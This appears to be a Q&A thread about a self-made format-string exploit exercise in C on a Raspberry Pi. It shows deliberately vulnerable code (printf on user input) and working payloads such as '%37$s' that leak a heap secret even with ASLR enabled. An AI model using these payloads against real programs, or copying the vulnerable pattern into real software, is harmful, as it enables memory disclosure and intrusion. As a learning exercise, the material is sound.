Search code examples
cformat-string

Format string exploit exercise


consider the following code:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(char *user_input)
{
    char buf[128];

    strcpy(buf, user_input);
    printf(buf);
    printf("\n");

}

int main(int argc, const char * argv[]) {
    // insert code here...
    char *secret = (char *) malloc(5);
    strcpy(secret, "4067");
    printf("secret is at: %p\n", secret);
    vuln(argv[1]);
    return 0;
}

I compiled this code with the following command in gcc in Raspberry OS (RPi 3):

gcc -fno-stack-protector -z execstack format.c -o format

After which, I disabled ASLR on my Raspberry OS. The output of the program is as followed:

$ ./format AAAA
secret is at: 0x22150
AAAA

So in order to print the secret, I used the following:

$ ./format "\x50\x21\x02\x00 %x.%x.%x.%x.%s"

which gave me the following output:

$ ./format "\x50\x21\x02\x00 %x.%x.%x.%x.%s"
secret is at: 0x22150
\x50\x21\x02\x00 7e8d77eb.0.7e8d74a8.76f5a4f8.\x50\x21\x02\x00 %x.%x.%x.%x.%s

For some reason, %s printed the string but not the content as specified by the address \x50\x21\x02\x00. It used to work a few days ago but after performing an update, it does not work anymore. What can I do to make it work again?

Any advice would be appreciated.


Solution

  • The key issue here is the null byte in the address: in your example above, the "secret" is stored at 0x00022150, which when translated for endianess, is the string \x50\x21\x02\x00 as you stated. Note the null byte at the end which is problematic for multiple reasons.

    Primarily, strings in C are terminated with a null byte, meaning that strcpy will copy until the first null byte it sees, which would destroy the second half of your payload containing the %x. However, the null byte is not even passed to the binary: bash (and I believe other shells) does not like passing null bytes as arguments:

    pi@raspberrypi:~/tmp$ ./format $(python3 -c 'print("A\x00b")')
    -bash: warning: command substitution: ignored null byte in input
    secret is at: 0x22190
    Ab
    

    You would not have observed the warning above because your raw hex bytes wern't translated properly either: note the difference in the two outputs below:

    pi@raspberrypi:~/tmp$ python3 -c 'print("\x61\x62")' | hexdump
    0000000 6261 000a
    0000003
    pi@raspberrypi:~/tmp$ python3 -c 'print(r"\x61\x62")' | hexdump
    0000000 785c 3136 785c 3236 000a
    0000009
    

    As such, leaking secret with the format string bug here is a little challenging. However, if we were to consider that the pointer secret in main points to the heap location storing the secret, and that the fsb allows you dereference and print any data on the stack, we can simply tell printf to "hey, theres a string at this position on the stack", where this is the location of secret. To identify this, just dump the stack until you see the correct pointer:

    pi@raspberrypi:~/tmp$ ./format $(python3 -c 'print("".join([f"%{i}$p." for i in range(30, 40)]))')
    secret is at: 0x22190
    0xbefffb34.0xb6eadd70.0xbefffb14.0x18c66100.0x1065c.0x10528.0x1065c.0x22190.0xbefffb34.0x1053c.
    

    Note that we see 0x22190 being printed out. We can manually count the offset to, then dump the data at 0x22190:

    pi@raspberrypi:~/tmp$ ./format '%37$p'
    secret is at: 0x22190
    0x22190
    pi@raspberrypi:~/tmp$ ./format '%37$s'
    secret is at: 0x22190
    4067
    

    It is useful to note here that attempting to print an invalid memory address with %s will result in a segfault, hence here we tell it to only dereference and dump one address rather than all 10.

    As a bonus, since we do not have to specify the actual address of secret in our payload, this method of attack also works with ASLR enabled.

    pi@raspberrypi:~/tmp$ ./format '%37$s'
    secret is at: 0xb84190
    4067
    pi@raspberrypi:~/tmp$ ./format '%37$s'
    secret is at: 0x1c12190
    4067
    pi@raspberrypi:~/tmp$ ./format '%37$s'
    secret is at: 0x1f66190
    4067
    pi@raspberrypi:~/tmp$ ./format '%37$s'
    secret is at: 0x1a29190
    4067